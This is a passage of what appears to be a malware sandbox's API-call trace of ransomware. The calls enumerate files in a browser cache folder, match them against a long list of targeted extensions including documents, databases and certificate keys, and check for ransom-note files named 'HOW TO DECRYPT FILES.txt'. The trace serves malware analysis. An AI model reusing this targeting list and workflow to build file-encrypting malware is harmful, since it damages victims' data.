Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.dat") returned 0 [0082.846] lstrlenA (lpString="*.dat") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.txt") returned 0 [0082.846] lstrlenA (lpString="*.txt") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.jpeg") returned 0 [0082.846] lstrlenA (lpString="*.jpeg") returned 6 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.jpg") returned 0 [0082.846] lstrlenA (lpString="*.jpg") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.png") returned 0 [0082.846] lstrlenA (lpString="*.png") returned 5 [0082.846] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.php") returned 0 [0082.846] lstrlenA (lpString="*.php") returned 5 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.cs") returned 0 [0082.847] lstrlenA (lpString="*.cs") returned 4 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.cpp") returned 0 [0082.847] lstrlenA (lpString="*.cpp") returned 5 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.rar") returned 0 [0082.847] lstrlenA (lpString="*.rar") returned 5 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.zip") returned 0 [0082.847] lstrlenA (lpString="*.zip") returned 5 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.html") returned 0 [0082.847] lstrlenA (lpString="*.html") returned 6 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.htm") returned 0 [0082.847] lstrlenA (lpString="*.htm") returned 5 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.xlsx") returned 0 [0082.847] lstrlenA (lpString="*.xlsx") returned 6 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.xls") returned 0 [0082.847] lstrlenA (lpString="*.xls") returned 5 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.mp4") returned 0 [0082.847] lstrlenA (lpString="*.mp4") returned 5 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.ppt") returned 0 [0082.847] lstrlenA (lpString="*.ppt") returned 5 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.pptx") returned 0 [0082.847] lstrlenA (lpString="*.pptx") returned 6 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.doc") returned 0 [0082.847] lstrlenA (lpString="*.doc") returned 5 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.dot") returned 0 [0082.847] lstrlenA (lpString="*.dot") returned 5 [0082.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.docx") returned 0 [0082.847] lstrlenA (lpString="*.docx") returned 6 [0082.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.7z") returned 0 [0082.848] lstrlenA (lpString="*.7z") returned 4 [0082.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.tar") returned 0 [0082.848] lstrlenA (lpString="*.tar") returned 5 [0082.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.bz2") returned 0 [0082.848] lstrlenA (lpString="*.bz2") returned 5 [0082.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.gz") returned 0 [0082.848] lstrlenA (lpString="*.gz") returned 4 [0082.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.mkv") returned 0 [0082.848] lstrlenA (lpString="*.mkv") returned 5 [0082.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.eml") returned 0 [0082.848] lstrlenA (lpString="*.eml") returned 5 [0082.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.msg") returned 0 [0082.848] lstrlenA (lpString="*.msg") returned 5 [0082.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.edb") returned 0 [0082.848] lstrlenA (lpString="*.edb") returned 5 [0082.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.accdb") returned 0 [0082.848] lstrlenA (lpString="*.accdb") returned 7 [0082.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.odb") returned 0 [0082.848] lstrlenA (lpString="*.odb") returned 5 [0082.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.java") returned 0 [0082.848] lstrlenA (lpString="*.java") returned 6 [0082.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.asm") returned 0 [0082.848] lstrlenA (lpString="*.asm") returned 5 [0082.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.pfx") returned 0 [0082.849] lstrlenA (lpString="*.pfx") returned 5 [0082.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.pem") returned 0 [0082.849] lstrlenA (lpString="*.pem") returned 5 [0082.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.p12") returned 0 [0082.849] lstrlenA (lpString="*.p12") returned 5 [0082.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.gpg") returned 0 [0082.849] lstrlenA (lpString="*.gpg") returned 5 [0082.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.vsd") returned 0 [0082.849] lstrlenA (lpString="*.vsd") returned 5 [0082.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.odg") returned 0 [0082.849] lstrlenA (lpString="*.odg") returned 5 [0082.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.raw") returned 0 [0082.849] lstrlenA (lpString="*.raw") returned 5 [0082.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.nef") returned 0 [0082.849] lstrlenA (lpString="*.nef") returned 5 [0082.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.svg") returned 0 [0082.849] lstrlenA (lpString="*.svg") returned 5 [0082.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.psd") returned 0 [0082.849] lstrlenA (lpString="*.psd") returned 5 [0082.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.vmx") returned 0 [0082.849] lstrlenA (lpString="*.vmx") returned 5 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.vmdk") returned 0 [0082.850] lstrlenA (lpString="*.vmdk") returned 6 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.vdi") returned 0 [0082.850] lstrlenA (lpString="*.vdi") returned 5 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.lay6") returned 0 [0082.850] lstrlenA (lpString="*.lay6") returned 6 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.mpeg") returned 0 [0082.850] lstrlenA (lpString="*.mpeg") returned 6 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.djvu") returned 0 [0082.850] lstrlenA (lpString="*.djvu") returned 6 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.tiff") returned 0 [0082.850] lstrlenA (lpString="*.tiff") returned 6 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.backup") returned 0 [0082.850] lstrlenA (lpString="*.backup") returned 8 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.pdf") returned 0 [0082.850] lstrlenA (lpString="*.pdf") returned 5 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.cert") returned 0 [0082.850] lstrlenA (lpString="*.cert") returned 6 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.docm") returned 0 [0082.850] lstrlenA (lpString="*.docm") returned 6 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.xlsm") returned 0 [0082.850] lstrlenA (lpString="*.xlsm") returned 6 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.dwg") returned 0 [0082.850] lstrlenA (lpString="*.dwg") returned 5 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.nd") returned 0 [0082.850] lstrlenA (lpString="*.nd") returned 4 [0082.850] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.tlg") returned 0 [0082.851] lstrlenA (lpString="*.tlg") returned 5 [0082.851] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.lgb") returned 0 [0082.851] lstrlenA (lpString="*.lgb") returned 5 [0082.851] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.mov") returned 0 [0082.851] lstrlenA (lpString="*.mov") returned 5 [0082.851] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.xdw") returned 0 [0082.851] lstrlenA (lpString="*.xdw") returned 5 [0082.851] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.ods") returned 0 [0082.851] lstrlenA (lpString="*.ods") returned 5 [0082.851] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.wav") returned 0 [0082.851] lstrlenA (lpString="*.wav") returned 5 [0082.851] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.mp3") returned 0 [0082.851] lstrlenA (lpString="*.mp3") returned 5 [0082.851] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.aiff") returned 0 [0082.851] lstrlenA (lpString="*.aiff") returned 6 [0082.851] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.flac") returned 0 [0082.851] lstrlenA (lpString="*.flac") returned 6 [0082.851] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.m4a") returned 0 [0082.851] lstrlenA (lpString="*.m4a") returned 5 [0082.851] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]", pszSpec="*.csv") returned 0 [0082.851] lstrlenA (lpString="*.csv") returned 5 [0082.851] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x533a9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x533a9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x533a9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11835, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="ast[2].js", cAlternateFileName="AST_2_~1.JS")) returned 1 [0082.851] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.851] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ast[2].js") returned 1 [0082.851] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ast[2].js") returned 1 [0082.851] lstrcmpiA (lpString1="", lpString2="ast[2].js") returned -1 [0082.851] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]") returned="adfserve[1]" [0082.851] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.852] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.852] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.852] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.852] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="ast[2].js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js" [0082.852] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.ems") returned 0 [0082.852] lstrlenA (lpString="*.ems") returned 5 [0082.852] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.db") returned 0 [0082.852] lstrlenA (lpString="*.db") returned 4 [0082.852] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.dbf") returned 0 [0082.852] lstrlenA (lpString="*.dbf") returned 5 [0082.852] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.myox") returned 0 [0082.852] lstrlenA (lpString="*.myox") returned 6 [0082.852] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.myo") returned 0 [0082.852] lstrlenA (lpString="*.myo") returned 5 [0082.852] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.qbw") returned 0 [0082.852] lstrlenA (lpString="*.qbw") returned 5 [0082.852] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.qbb") returned 0 [0082.852] lstrlenA (lpString="*.qbb") returned 5 [0082.852] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.qbm") returned 0 [0082.852] lstrlenA (lpString="*.qbm") returned 5 [0082.852] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.qbo") returned 0 [0082.852] lstrlenA (lpString="*.qbo") returned 5 [0082.852] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.qbx") returned 0 [0082.852] lstrlenA (lpString="*.qbx") returned 5 [0082.852] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.qba") returned 0 [0082.853] lstrlenA (lpString="*.qba") returned 5 [0082.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.qby") returned 0 [0082.853] lstrlenA (lpString="*.qby") returned 5 [0082.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.qbj") returned 0 [0082.853] lstrlenA (lpString="*.qbj") returned 5 [0082.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.ofx") returned 0 [0082.853] lstrlenA (lpString="*.ofx") returned 5 [0082.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.qif") returned 0 [0082.853] lstrlenA (lpString="*.qif") returned 5 [0082.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.mye") returned 0 [0082.853] lstrlenA (lpString="*.mye") returned 5 [0082.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.mbox") returned 0 [0082.853] lstrlenA (lpString="*.mbox") returned 6 